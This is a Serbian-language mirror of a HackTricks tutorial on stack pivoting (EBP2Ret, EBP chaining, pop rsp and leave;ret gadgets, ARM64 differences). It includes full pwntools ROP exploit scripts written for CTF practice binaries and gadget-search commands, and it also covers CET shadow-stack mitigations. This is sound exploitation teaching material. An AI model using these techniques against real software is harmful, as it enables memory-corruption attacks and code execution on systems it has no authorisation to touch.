mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
293 lines
14 KiB
Markdown
293 lines
14 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Osnovne informacije
|
||
|
||
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP/RBP)** da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i **`leave; ret`** instrukcijske sekvence.
|
||
|
||
Kao podsetnik, na x86/x86-64 **`leave`** je ekvivalentno:
|
||
```
|
||
mov rsp, rbp ; mov esp, ebp on x86
|
||
pop rbp ; pop ebp on x86
|
||
ret
|
||
```
|
||
And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack.
|
||
|
||
> Napomene
|
||
> - Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
|
||
> - Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju, `leave` možda neće biti prisutan i ova tehnika neće raditi.
|
||
|
||
### EBP2Ret
|
||
|
||
Ova tehnika je posebno korisna kada možete **izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije.
|
||
|
||
Ako, tokom izvršenja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se uzela u obzir `pop`), možete indirektno kontrolisati RIP. Kada funkcija vrati, `leave` postavlja RSP na kreiranu lokaciju, a sledeći `pop rbp` smanjuje RSP, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo**. Tada će `ret` koristiti tu adresu.
|
||
|
||
Napomena kako **morate znati 2 adrese**: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će `ret` konzumirati.
|
||
|
||
#### Konstrukcija Eksploata
|
||
|
||
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke/adrese**. RSP će pokazivati ovde i **konzumiraće prvi `ret`**.
|
||
|
||
Zatim, morate izabrati adresu koju koristi `ret` koja će **preneti izvršenje**. Možete koristiti:
|
||
|
||
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
|
||
- Adresu **`system()`** praćenu odgovarajućim povratkom i argumentima (na x86: `ret` cilj = `&system`, zatim 4 bajta smeća, zatim `&"/bin/sh"`).
|
||
- Adresu **`jmp esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu inline shellcode-om.
|
||
- [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u memoriji koja se može pisati.
|
||
|
||
Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti **prostora za `pop ebp/rbp`** iz `leave` (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite **drugi lažni EBP** i zadržite kontrolu nakon što se prvi poziv vrati.
|
||
|
||
#### Off-By-One Eksploit
|
||
|
||
Postoji varijanta koja se koristi kada možete **samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti.
|
||
|
||
Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se izvrši konačni ROP lanac.
|
||
|
||
### EBP Lanci
|
||
|
||
Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu koju kontroliše napadač**.
|
||
|
||
Sada je `RSP` pod kontrolom i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput:
|
||
|
||
- `&(next fake EBP)` -> Učitano sa `pop ebp/rbp` iz `leave`.
|
||
- `&system()` -> Pozvano sa `ret`.
|
||
- `&(leave;ret)` -> Nakon što `system` završi, premesti RSP na sledeći lažni EBP i nastavlja.
|
||
- `&("/bin/sh")` -> Argument za `system`.
|
||
|
||
Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa.
|
||
|
||
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije i korisno samo u ivicama.
|
||
|
||
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = process()
|
||
|
||
p.recvuntil('to: ')
|
||
buffer = int(p.recvline(), 16)
|
||
log.success(f'Buffer: {hex(buffer)}')
|
||
|
||
LEAVE_RET = 0x40117c
|
||
POP_RDI = 0x40122b
|
||
POP_RSI_R15 = 0x401229
|
||
|
||
payload = flat(
|
||
0x0, # rbp (could be the address of another fake RBP)
|
||
POP_RDI,
|
||
0xdeadbeef,
|
||
POP_RSI_R15,
|
||
0xdeadc0de,
|
||
0x0,
|
||
elf.sym['winner']
|
||
)
|
||
|
||
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
||
|
||
payload += flat(
|
||
buffer, # Load leaked address in RBP
|
||
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
||
)
|
||
|
||
pause()
|
||
p.sendline(payload)
|
||
print(p.recvline())
|
||
```
|
||
> amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je `system`, dodajte uređaj za poravnanje (npr., `ret`, ili `sub rsp, 8 ; ret`) pre poziva kako biste održali poravnanje i izbegli `movaps` rušenja.
|
||
|
||
## EBP možda neće biti korišćen
|
||
|
||
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, **EBP/RBP nikada ne kontroliše ESP/RSP**. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja sa pokazivača okvira.
|
||
|
||
- Nije optimizovano / pokazivač okvira korišćen:
|
||
```bash
|
||
push %ebp # save ebp
|
||
mov %esp,%ebp # set new ebp
|
||
sub $0x100,%esp # increase stack size
|
||
.
|
||
.
|
||
.
|
||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||
ret # return
|
||
```
|
||
- Optimizovano / pokazivač okvira izostavljen:
|
||
```bash
|
||
push %ebx # save callee-saved register
|
||
sub $0x100,%esp # increase stack size
|
||
.
|
||
.
|
||
.
|
||
add $0x10c,%esp # reduce stack size
|
||
pop %ebx # restore
|
||
ret # return
|
||
```
|
||
Na amd64 često ćete videti `pop rbp ; ret` umesto `leave ; ret`, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji `rbp`-bazirani epilog kroz koji se može pivotirati.
|
||
|
||
## Drugi načini za kontrolu RSP
|
||
|
||
### `pop rsp` gadget
|
||
|
||
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
|
||
```python
|
||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||
# This version has added comments
|
||
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = process()
|
||
|
||
p.recvuntil('to: ')
|
||
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
||
log.success(f'Buffer: {hex(buffer)}')
|
||
|
||
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
||
POP_RDI = 0x40122b
|
||
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||
|
||
# The payload starts
|
||
payload = flat(
|
||
0, # r13
|
||
0, # r14
|
||
0, # r15
|
||
POP_RDI,
|
||
0xdeadbeef,
|
||
POP_RSI_R15,
|
||
0xdeadc0de,
|
||
0x0, # r15
|
||
elf.sym['winner']
|
||
)
|
||
|
||
payload = payload.ljust(104, b'A') # pad to 104
|
||
|
||
# Start popping RSP, this moves the stack to the leaked address and
|
||
# continues the ROP chain in the prepared payload
|
||
payload += flat(
|
||
POP_CHAIN,
|
||
buffer # rsp
|
||
)
|
||
|
||
pause()
|
||
p.sendline(payload)
|
||
print(p.recvline())
|
||
```
|
||
### xchg <reg>, rsp gadget
|
||
```
|
||
pop <reg> <=== return pointer
|
||
<reg value>
|
||
xchg <reg>, rsp
|
||
```
|
||
### jmp esp
|
||
|
||
Proverite ret2esp tehniku ovde:
|
||
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||
{{#endref}}
|
||
|
||
### Brzo pronalaženje pivot gadgeta
|
||
|
||
Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne:
|
||
|
||
- `leave ; ret` na funkcijama ili u bibliotekama
|
||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||
- `add rsp, <imm> ; ret` (ili `add esp, <imm> ; ret` na x86)
|
||
|
||
Primeri:
|
||
```bash
|
||
# Ropper
|
||
ropper --file ./vuln --search "leave; ret"
|
||
ropper --file ./vuln --search "pop rsp"
|
||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
||
|
||
# ROPgadget
|
||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||
```
|
||
### Класични образац за пивотирање
|
||
|
||
Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима:
|
||
|
||
1) Користите мали иницијални прелив да позовете `read`/`recv` у велику област за писање (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо.
|
||
2) Вратите се у пивот гажет (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) да преместите RSP у ту област.
|
||
3) Наставите са постављеним ланцем (нпр., откријте libc, позовите `mprotect`, затим `read` shellcode, а затим скочите на њега).
|
||
|
||
## Савремене мере које прекидају пивотирање стека (CET/Shadow Stack)
|
||
|
||
Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека.
|
||
|
||
- За позадину и дубље детаље погледајте:
|
||
|
||
|
||
{{#ref}}
|
||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||
{{#endref}}
|
||
|
||
- Брзи прегледи на Линуксу:
|
||
```bash
|
||
# 1) Is the binary/toolchain CET-marked?
|
||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||
|
||
# 2) Is the CPU/kernel capable?
|
||
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
||
|
||
# 3) Is SHSTK active for this process?
|
||
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
||
|
||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
||
(gdb) checksec
|
||
```
|
||
- Beleške za labove/CTF:
|
||
- Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima.
|
||
- JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida `ret`-zasnovane pivote.
|
||
|
||
- Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na `ret`; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu).
|
||
|
||
## ARM64
|
||
|
||
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u steku. Štaviše, **`RET`** instrukcija se ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
|
||
|
||
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
|
||
|
||
- prolog
|
||
|
||
```armasm
|
||
sub sp, sp, 16
|
||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||
mov x29, sp // FP pokazuje na okvir zapisa
|
||
```
|
||
|
||
- epilog
|
||
|
||
```armasm
|
||
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||
add sp, sp, 16
|
||
ret
|
||
```
|
||
|
||
> [!CAUTION]
|
||
> Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz steka i imamo preliv) i zatim **zloupotrebljavati epilog** da se učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
|
||
|
||
Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
|
||
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||
{{#endref}}
|
||
|
||
## Reference
|
||
|
||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||
- 64 bita, eksploatacija off by one sa rop lancem koji počinje sa ret sled
|
||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||
- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, u .bss se piše ROP lanac i završava pozivajući ga pivotiranjem sa RBP.
|
||
- Dokumentacija Linux kernela: Tehnologija za sprovođenje kontrole toka (CET) Senčani stek — detalji o SHSTK, `nousershstk`, `/proc/$PID/status` zastavicama i omogućavanju putem `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||
- Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|